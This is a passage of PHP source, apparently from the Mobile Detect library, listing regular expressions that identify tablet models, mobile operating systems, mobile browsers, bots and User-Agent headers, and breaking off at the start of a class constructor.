'NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|TB-436|TB-416|TB-146SE|TB-126SE',
// Avoid detecting 'PLAYSTATION 3' as mobile.
'PlaystationTablet' =>
'Playstation.*(Portable|Vita)',
// http://www.trekstor.de/surftabs.html
'TrekstorTablet' =>
'ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab',
//
http://www.pyleaudio.com/Products.aspx?%2fproducts%2fPersonal-Electronics%2fTablets
'PyleAudioTablet' =>
'\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\b',
//
http://www.advandigital.com/index.php?link=content-product&jns=JP001
// because of the short codenames we have to include whitespaces to
reduce the possible conflicts.
'AdvanTablet' => 'Android.*
\b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\b
',
// http://www.danytech.com/category/tablet-pc
'DanyTechTablet' => 'Genius Tab G3|Genius Tab
S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|Genius TAB
GII|Genius TAB GIII|Genius Tab S1',
// http://www.galapad.net/product.html
'GalapadTablet' => 'Android.*\bG1\b(?!\))',
// http://www.micromaxinfo.com/tablet/funbook
'MicromaxTablet' =>
'Funbook|Micromax.*\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\b',
// http://www.karbonnmobiles.com/products_tablet.php
'KarbonnTablet' =>
'Android.*\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\b',
// http://www.myallfine.com/Products.asp
'AllFineTablet' => 'Fine7 Genius|Fine7 Shine|Fine7
Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide',
//
http://www.proscanvideo.com/products-search.asp?itemClass=TABLET&itemnmbr=
'PROSCANTablet' =>
'\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\b',
// http://www.yonesnav.com/products/products.php
'YONESTablet' =>
'BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026',
// http://www.cjshowroom.com/eproducts.aspx?classcode=004001001
// China manufacturer makes tablets for different small brands (eg.
http://www.zeepad.net/index.html)
'ChangJiaTablet' =>
'TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|TPC10111|TPC10203|TPC10205|TPC10503',
// http://www.gloryunion.cn/products.asp
// http://www.allwinnertech.com/en/apply/mobile.html
// http://www.ptcl.com.pk/pd_content.php?pd_id=284 (EVOTAB)
// @todo: Softwiner tablets?
// aka. Cute or Cool tablets. Not sure yet, must research to avoid
collisions.
'GUTablet' =>
'TX-A1301|TX-M9002|Q702|kf026',
//
A12R|D75A|D77|D79|R83|A95|A106C|R15|A75|A76|D71|D72|R71|R73|R77|D82|R85|D92|A97|D92|R91|A10F|A77F|W71F|A78F|W78F|W81F|A97F|W91F|W97F|R16G|C72|C73E|K72|K73|R96G
//
http://www.pointofview-online.com/showroom.php?shop_mode=product_listing&category_id=118
'PointOfViewTablet' =>
'TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10',
// http://www.overmax.pl/pl/katalog-produktow,p8/tablety,c14/
// @todo: add more tests.
'OvermaxTablet' =>
'OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|MagicTab|Stream|TB-08|TB-09)|Qualcore
1027',
// http://hclmetablet.com/India/index.php
'HCLTablet' =>
'HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet
U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync',
// http://www.edigital.hu/Tablet_es_e-book_olvaso/Tablet-c18385.html
'DPSTablet' => 'DPS Dream 9|DPS Dual 7',
// http://www.visture.com/index.asp
'VistureTablet' => 'V97 HD|i75 3G|Visture V4(
HD)?|Visture V5( HD)?|Visture V10',
// http://www.mijncresta.nl/tablet
'CrestaTablet' =>
'CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989',
// MediaTek -
http://www.mediatek.com/_en/01_products/02_proSys.php?cata_sn=1&cata1_sn=1&cata2_sn=309
'MediatekTablet' =>
'\bMT8125|MT8389|MT8135|MT8377\b',
// Concorde tab
'ConcordeTablet' => 'Concorde([ ]+)?Tab|ConCorde
ReadMan',
// GoClever Tablets - http://www.goclever.com/uk/products,c1/tablet,c5/
'GoCleverTablet' => 'GOCLEVER
TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB
A741|TAB A741L|TAB M723G|TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB
T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|GCTA722|TAB
I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB
A93|TAB A93.2|TAB T72|TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB
A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|TAB R104|TAB
R83.3|TAB A1042',
// Modecom Tablets - http://www.modecom.eu/tablets/portal/
'ModecomTablet' => 'FreeTAB 9000|FreeTAB
7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|FreeTAB
1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB
7002|FreeTAB 1002|FreeTAB 7801|FreeTAB 1331|FreeTAB 1004|FreeTAB
8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003',
// Vonino Tablets
'VoninoTablet' => '\b(Argus[ _]?S|Diamond[
_]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|Orin[
_]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[
_]?3G|Primus[ _]?94HD|Primus[ _]?QS|Android.*\bQ8\b|Sirius[ _]?EVO[
_]?QS|Sirius[ _]?QS|Spirit[ _]?S)\b',
// ECS Tablets -
http://www.ecs.com.tw/ECSWebSite/Product/Product_Tablet_List.aspx?CategoryID=14&MenuID=107&childid=M_107&LanID=0
'ECSTablet' =>
'V07OT2|TM105A|S10OT1|TR10CS1',
// Storex Tablets - http://storex.fr/espace_client/support.html
// @note: no need to add all the tablet codes since they are guided by
the first regex.
'StorexTablet' =>
'eZee[_\']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab',
// Generic Vodafone tablets.
'VodafoneTablet' => 'SmartTab([
]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497|VFD 1400',
// French tablets - Essentiel B
http://www.boulanger.fr/tablette_tactile_e-book/tablette_tactile_essentiel_b/cl_68908.htm?multiChoiceToDelete=brand&mc_brand=essentielb
// Aka: http://www.essentielb.fr/
'EssentielBTablet' => 'Smart[ \']?TAB[
]+?[0-9]+|Family[ \']?TAB2',
// Ross & Moor - http://ross-moor.ru/
'RossMoorTablet' =>
'RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711',
// i-mobile http://product.i-mobilephone.com/Mobile_Device
'iMobileTablet' => 'i-mobile i-note',
// http://www.tolino.de/de/vergleichen/
'TolinoTablet' => 'tolino tab [0-9.]+|tolino
shine',
// AudioSonic - a Kmart brand
//
http://www.kmart.com.au/webapp/wcs/stores/servlet/Search?langId=-1&storeId=10701&catalogId=10001&categoryId=193001&pageSize=72¤tPage=1&searchCategory=193001%2b4294965664&sortBy=p_MaxPrice%7c1
'AudioSonicTablet' =>
'\bC-22Q|T7-QC|T-17B|T-17P\b',
// AMPE Tablets - http://www.ampe.com.my/product-category/tablets/
// @todo: add them gradually to avoid conflicts.
'AMPETablet' => 'Android.* A78 ',
// Skk Mobile - http://skkmobile.com.ph/product_tablets.php
'SkkTablet' => 'Android.*
(SKYPAD|PHOENIX|CYCLOPS)',
// Tecno Mobile (only tablet) -
http://www.tecno-mobile.com/index.php/product?filterby=smart&list_order=all&page=1
'TecnoTablet' => 'TECNO P9|TECNO DP8D',
// JXD (consoles & tablets) -
http://jxd.hk/products.asp?selectclassid=009008&clsid=3
'JXDTablet' => 'Android.*
\b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|P1000|P300|S18|S6600|S9100)\b',
// i-Joy tablets - http://www.i-joy.es/en/cat/products/tablets/
'iJoyTablet' => 'Tablet (Spirit
7|Essentia|Galatea|Fusion|Onix
7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|Unique 7|Sygnus|Hexen|Finity
7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr
7|Rebel|Biox|Rebel|Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo
Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|Revolution|Finity
9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone
8GB|Andromeda|Silken|X2|Andromeda II|Halley|Flame|Saphyr 9,7|Touch
8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)',
// http://www.intracon.eu/tablet
'FX2Tablet' => 'FX2 PAD7|FX2 PAD10',
// http://www.xoro.de/produkte/
// @note: Might be the same brand with 'Simply tablets'
'XoroTablet' => 'KidsPAD 701|PAD[ ]?712|PAD[
]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|PAD[
]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[
]?9718DR|PAD[ ]?9719QR|PAD[
]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|TelePAD795|MegaPAD
1331|MegaPAD 1851|MegaPAD 2151',
// http://www1.viewsonic.com/products/computing/tablets/
'ViewsonicTablet' => 'ViewPad 10pi|ViewPad
10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic
VB733|VB100a',
// https://www.verizonwireless.com/tablets/verizon/
'VerizonTablet' =>
'QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1',
// http://www.odys.de/web/internet-tablet_en.html
'OdysTablet' => 'LOOX|XENO10|ODYS[
-](Space|EVO|Xpress|NOON)|\bXELIO\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10',
// http://www.captiva-power.de/products.html#tablets-en
'CaptivaTablet' => 'CAPTIVA PAD',
// IconBIT - http://www.iconbit.com/products/tablets/
'IconbitTablet' =>
'NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S',
//
http://www.teclast.com/topic.php?channelID=70&topicID=140&pid=63
'TeclastTablet' => 'T98 4G|\bP80\b|\bX90HD\b|X98
Air|X98 Air 3G|\bX89\b|P80 3G|\bX80h\b|P98 Air|\bX89HD\b|P98
3G|\bP90HD\b|P89 3G|X98 3G|\bP70h\b|P79HD 3G|G18d
3G|\bP79HD\b|\bP89s\b|\bA88\b|\bP10HD\b|\bP19HD\b|G18
3G|\bP78HD\b|\bA78\b|\bP75\b|G17s 3G|G17h
3G|\bP85t\b|\bP90\b|\bP11\b|\bP98t\b|\bP98HD\b|\bG18d\b|\bP85s\b|\bP11HD\b|\bP88s\b|\bA80HD\b|\bA80se\b|\bA10h\b|\bP89\b|\bP78s\b|\bG18\b|\bP85\b|\bA70h\b|\bA70\b|\bG17\b|\bP18\b|\bA80s\b|\bA11s\b|\bP88HD\b|\bA80h\b|\bP76s\b|\bP76h\b|\bP98\b|\bA10HD\b|\bP78\b|\bP88\b|\bA11\b|\bA10t\b|\bP76a\b|\bP76t\b|\bP76e\b|\bP85HD\b|\bP85a\b|\bP86\b|\bP75HD\b|\bP76v\b|\bA12\b|\bP75a\b|\bA15\b|\bP76Ti\b|\bP81HD\b|\bA10\b|\bT760VE\b|\bT720HD\b|\bP76\b|\bP73\b|\bP71\b|\bP72\b|\bT720SE\b|\bC520Ti\b|\bT760\b|\bT720VE\b|T720-3GE|T720-WiFi',
// Onda -
http://www.onda-tablet.com/buy-android-onda.html?dir=desc&limit=all&order=price
'OndaTablet' =>
'\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|Vi40)\b[\s]+|V10
\b4G\b',
'JaytechTablet' => 'TPC-PA762',
'BlaupunktTablet' => 'Endeavour 800NG|Endeavour
1010',
// http://www.digma.ru/support/download/
// @todo: Ebooks also (if requested)
'DigmaTablet' =>
'\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\b',
// http://www.evolioshop.com/ro/tablete-pc.html
// http://www.evolio.ro/support/downloads_static.html?cat=2
// @todo: Research some more
'EvolioTablet' => 'ARIA_Mini_wifi|Aria[
_]Mini|Evolio X10|Evolio X7|Evolio X8|\bEvotab\b|\bNeura\b',
// @todo http://www.lavamobiles.com/tablets-data-cards
'LavaTablet' => 'QPAD E704|\bIvoryS\b|E-TAB
IVORY|\bE-TAB\b',
// http://www.breezetablet.com/
'AocTablet' =>
'MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712',
//
http://www.mpmaneurope.com/en/products/internet-tablets-14/android-tablets-14/
'MpmanTablet' => 'MP11 OCTA|MP10
OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\bMPG7\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010',
// https://www.celkonmobiles.com/?_a=categoryphones&sid=2
'CelkonTablet' => 'CT695|CT888|CT[\s]?910|CT7
Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\bCT-1\b',
//
http://www.wolderelectronics.com/productos/manuales-y-guias-rapidas/categoria-2-miTab
'WolderTablet' => 'miTab
\b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW
AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN
101|MasterChef)\b',
'MediacomTablet' =>
'M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA',
// http://www.mi.com/en
'MiTablet' => '\bMI PAD\b|\bHM NOTE
1W\b',
// http://www.nbru.cn/index.html
'NibiruTablet' => 'Nibiru M1|Nibiru Jupiter
One',
// http://navroad.com/products/produkty/tablety/
// http://navroad.com/products/produkty/tablety/
'NexoTablet' => 'NEXO NOVA|NEXO 10|NEXO
AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO
MOBI',
// http://leader-online.com/new_site/product-category/tablets/
// http://www.leader-online.net.au/List/Tablet
'LeaderTablet' =>
'TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100',
// http://www.datawind.com/ubislate/
'UbislateTablet' => 'UbiSlate[\s]?7C',
// http://www.pocketbook-int.com/ru/support
'PocketBookTablet' => 'Pocketbook',
// http://www.kocaso.com/product_tablet.html
'KocasoTablet' => '\b(TB-1207)\b',
//
http://global.hisense.com/product/asia/tablet/Sero7/201412/t20141215_91832.htm
'HisenseTablet' => '\b(F5281|E2371)\b',
// http://www.tesco.com/direct/hudl/
'Hudl' => 'Hudl HT7S3|Hudl 2',
// http://www.telstra.com.au/home-phone/thub-2/
'TelstraTablet' => 'T-Hub2',
'GenericTablet' =>
'Android.*\b97D\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD
Zoom2|\bA7EB\b|CatNova8|A1_07|CT704|CT1002|\bM721\b|rk30sdk|\bEVOTAB\b|M758A|ET904|ALUMIUM10|Smartfren
Tab|Endeavour 1010|Tablet-PC-4|Tagi Tab|\bM6pro\b|CT1020W|arc
10HD|\bTP750\b|\bQTAQZ3\b|WVT101|TM1088|KT107',
];
/**
* List of mobile Operating Systems.
*
* @var array
*/
protected static $operatingSystems = [
'AndroidOS' => 'Android',
'BlackBerryOS' => 'blackberry|\bBB10\b|rim tablet
os',
'PalmOS' =>
'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino',
'SymbianOS' =>
'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b',
// @reference: http://en.wikipedia.org/wiki/Windows_Mobile
'WindowsMobileOS' => 'Windows
CE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Windows Mobile|Windows Phone
[0-9.]+|WCE;',
// @reference: http://en.wikipedia.org/wiki/Windows_Phone
// http://wifeng.cn/?r=blog&a=view&id=106
//
http://nicksnettravels.builttoroam.com/post/2011/01/10/Bogus-Windows-Phone-7-User-Agent-String.aspx
// http://msdn.microsoft.com/library/ms537503.aspx
// https://msdn.microsoft.com/en-us/library/hh869301(v=vs.85).aspx
'WindowsPhoneOS' => 'Windows Phone 10.0|Windows Phone
8.1|Windows Phone 8.0|Windows Phone OS|XBLWP7|ZuneWP7|Windows NT 6.[23];
ARM;',
'iOS' =>
'\biPhone.*Mobile|\biPod|\biPad|AppleCoreMedia',
// https://en.wikipedia.org/wiki/IPadOS
'iPadOS' => 'CPU OS 13',
// http://en.wikipedia.org/wiki/MeeGo
// @todo: research MeeGo in UAs
'MeeGoOS' => 'MeeGo',
// http://en.wikipedia.org/wiki/Maemo
// @todo: research Maemo in UAs
'MaemoOS' => 'Maemo',
'JavaOS' => 'J2ME/|\bMIDP\b|\bCLDC\b', //
'|Java/' produces bug #135
'webOS' => 'webOS|hpwOS',
'badaOS' => '\bBada\b',
'BREWOS' => 'BREW',
];
/**
* List of mobile User Agents.
*
* IMPORTANT: This is a list of only mobile browsers.
* Mobile Detect 2.x supports only mobile browsers,
* it was never designed to detect all browsers.
* The change will come in 2017 in the 3.x release for PHP7.
*
* @var array
*/
protected static $browsers = [
//'Vivaldi' => 'Vivaldi',
// @reference:
https://developers.google.com/chrome/mobile/docs/user-agent
'Chrome' =>
'\bCrMo\b|CriOS|Android.*Chrome/[.0-9]* (Mobile)?',
'Dolfin' => '\bDolfin\b',
'Opera' =>
'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR/[0-9.]+$|Coast/[0-9.]+',
'Skyfire' => 'Skyfire',
'Edge' => 'Mobile Safari/[.0-9]* Edge',
'IE' => 'IEMobile|MSIEMobile', //
|Trident/[.0-9]+
'Firefox' =>
'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS',
'Bolt' => 'bolt',
'TeaShark' => 'teashark',
'Blazer' => 'Blazer',
// @reference:
http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3
'Safari' =>
'Version.*Mobile.*Safari|Safari.*Mobile|MobileSafari',
// http://en.wikipedia.org/wiki/Midori_(web_browser)
//'Midori' => 'midori',
//'Tizen' => 'Tizen',
'WeChat' => '\bMicroMessenger\b',
'UCBrowser' => 'UC.*Browser|UCWEB',
'baiduboxapp' => 'baiduboxapp',
'baidubrowser' => 'baidubrowser',
// https://github.com/serbanghita/Mobile-Detect/issues/7
'DiigoBrowser' => 'DiigoBrowser',
// http://www.puffinbrowser.com/index.php
// https://github.com/serbanghita/Mobile-Detect/issues/752
// 'Puffin' => 'Puffin',
// http://mercury-browser.com/index.html
'Mercury' => '\bMercury\b',
// http://en.wikipedia.org/wiki/Obigo_Browser
'ObigoBrowser' => 'Obigo',
// http://en.wikipedia.org/wiki/NetFront
'NetFront' => 'NF-Browser',
// @reference: http://en.wikipedia.org/wiki/Minimo
// http://en.wikipedia.org/wiki/Vision_Mobile_Browser
'GenericBrowser' =>
'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger',
// @reference: https://en.wikipedia.org/wiki/Pale_Moon_(web_browser)
'PaleMoon' =>
'Android.*PaleMoon|Mobile.*PaleMoon',
];
/**
* Utilities.
*
* @var array
*/
protected static $utilities = [
// Experimental. When a mobile device wants to switch to 'Desktop
Mode'.
//
http://scottcate.com/technology/windows-phone-8-ie10-desktop-or-mobile/
//
https://github.com/serbanghita/Mobile-Detect/issues/57#issuecomment-15024011
// https://developers.facebook.com/docs/sharing/best-practices
'Bot' =>
'Googlebot|facebookexternalhit|Google-AMPHTML|s~amp-validator|AdsBot-Google|Google
Keyword
Suggestion|Facebot|YandexBot|YandexMobileBot|bingbot|ia_archiver|AhrefsBot|Ezooms|GSLFbot|WBSearchBot|Twitterbot|TweetmemeBot|Twikle|PaperLiBot|Wotbox|UnwindFetchor|Exabot|MJ12bot|YandexImages|TurnitinBot|Pingdom|contentkingapp',
'MobileBot' =>
'Googlebot-Mobile|AdsBot-Google-Mobile|YahooSeeker/M1A1-R2D2',
'DesktopMode' => 'WPDesktop',
'TV' => 'SonyDTV|HbbTV', // experimental
'WebKit' => '(webkit)[ /]([\w.]+)',
// @todo: Include JXD consoles.
'Console' => '\b(Nintendo|Nintendo WiiU|Nintendo
3DS|Nintendo Switch|PLAYSTATION|Xbox)\b',
'Watch' => 'SM-V700',
];
/**
* All possible HTTP headers that represent the
* User-Agent string.
*
* @var array
*/
protected static $uaHttpHeaders = [
// The default User-Agent string.
'HTTP_USER_AGENT',
// Header can occur on devices using Opera Mini.
'HTTP_X_OPERAMINI_PHONE_UA',
// Vodafone specific header:
http://www.seoprinciple.com/mobile-web-community-still-angry-at-vodafone/24/
'HTTP_X_DEVICE_USER_AGENT',
'HTTP_X_ORIGINAL_USER_AGENT',
'HTTP_X_SKYFIRE_PHONE',
'HTTP_X_BOLT_PHONE_UA',
'HTTP_DEVICE_STOCK_UA',
'HTTP_X_UCBROWSER_DEVICE_UA',
];
/**
* The individual segments that could exist in a User-Agent string. VER
refers to the regular
* expression defined in the constant self::VER.
*
* @var array
*/
protected static $properties = [
// Build
'Mobile' => 'Mobile/[VER]',
'Build' => 'Build/[VER]',
'Version' => 'Version/[VER]',
'VendorID' => 'VendorID/[VER]',
// Devices
'iPad' => 'iPad.*CPU[a-z ]+[VER]',
'iPhone' => 'iPhone.*CPU[a-z ]+[VER]',
'iPod' => 'iPod.*CPU[a-z ]+[VER]',
//'BlackBerry' => array('BlackBerry[VER]',
'BlackBerry [VER];'),
'Kindle' => 'Kindle/[VER]',
// Browser
'Chrome' => ['Chrome/[VER]',
'CriOS/[VER]', 'CrMo/[VER]'],
'Coast' => ['Coast/[VER]'],
'Dolfin' => 'Dolfin/[VER]',
// @reference:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox
'Firefox' => ['Firefox/[VER]',
'FxiOS/[VER]'],
'Fennec' => 'Fennec/[VER]',
// http://msdn.microsoft.com/en-us/library/ms537503(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/ie/hh869301(v=vs.85).aspx
'Edge' => 'Edge/[VER]',
'IE' => ['IEMobile/[VER];',
'IEMobile [VER]', 'MSIE [VER];',
'Trident/[0-9.]+;.*rv:[VER]'],
// http://en.wikipedia.org/wiki/NetFront
'NetFront' => 'NetFront/[VER]',
'NokiaBrowser' => 'NokiaBrowser/[VER]',
'Opera' => [' OPR/[VER]', 'Opera
Mini/[VER]', 'Version/[VER]'],
'Opera Mini' => 'Opera Mini/[VER]',
'Opera Mobi' => 'Version/[VER]',
'UCBrowser' => ['UCWEB[VER]',
'UC.*Browser/[VER]'],
'MQQBrowser' => 'MQQBrowser/[VER]',
'MicroMessenger' => 'MicroMessenger/[VER]',
'baiduboxapp' => 'baiduboxapp/[VER]',
'baidubrowser' => 'baidubrowser/[VER]',
'SamsungBrowser' => 'SamsungBrowser/[VER]',
'Iron' => 'Iron/[VER]',
// @note: Safari 7534.48.3 is actually Version 5.1.
// @note: On BlackBerry the Version is overwriten by the OS.
'Safari' => ['Version/[VER]',
'Safari/[VER]'],
'Skyfire' => 'Skyfire/[VER]',
'Tizen' => 'Tizen/[VER]',
'Webkit' => 'webkit[ /][VER]',
'PaleMoon' => 'PaleMoon/[VER]',
// Engine
'Gecko' => 'Gecko/[VER]',
'Trident' => 'Trident/[VER]',
'Presto' => 'Presto/[VER]',
'Goanna' => 'Goanna/[VER]',
// OS
'iOS' => ' \bi?OS\b [VER][ ;]{1}',
'Android' => 'Android [VER]',
'BlackBerry' => ['BlackBerry[\w]+/[VER]',
'BlackBerry.*Version/[VER]', 'Version/[VER]'],
'BREW' => 'BREW [VER]',
'Java' => 'Java/[VER]',
// @reference:
http://windowsteamblog.com/windows_phone/b/wpdev/archive/2011/08/29/introducing-the-ie9-on-windows-phone-mango-user-agent-string.aspx
// @reference: http://en.wikipedia.org/wiki/Windows_NT#Releases
'Windows Phone OS' => ['Windows Phone OS [VER]',
'Windows Phone [VER]'],
'Windows Phone' => 'Windows Phone [VER]',
'Windows CE' => 'Windows CE/[VER]',
//
http://social.msdn.microsoft.com/Forums/en-US/windowsdeveloperpreviewgeneral/thread/6be392da-4d2f-41b4-8354-8dcee20c85cd
'Windows NT' => 'Windows NT [VER]',
'Symbian' => ['SymbianOS/[VER]',
'Symbian/[VER]'],
'webOS' => ['webOS/[VER]',
'hpwOS/[VER];'],
];
/**
* Construct an instance of this class.
*
* @param array $headers Specify the headers as injection. Should be
PHP _SERVER flavored.
* If left empty, will use the global
_SERVER['HTTP_*'] vars instead.
* @param string $userAgent Inject the User-Agent header. If null, will
use HTTP_USER_AGENT
* from the $headers array instead.
*/
public function __construct(
array $headers = null,
$userAgent = null
)
{
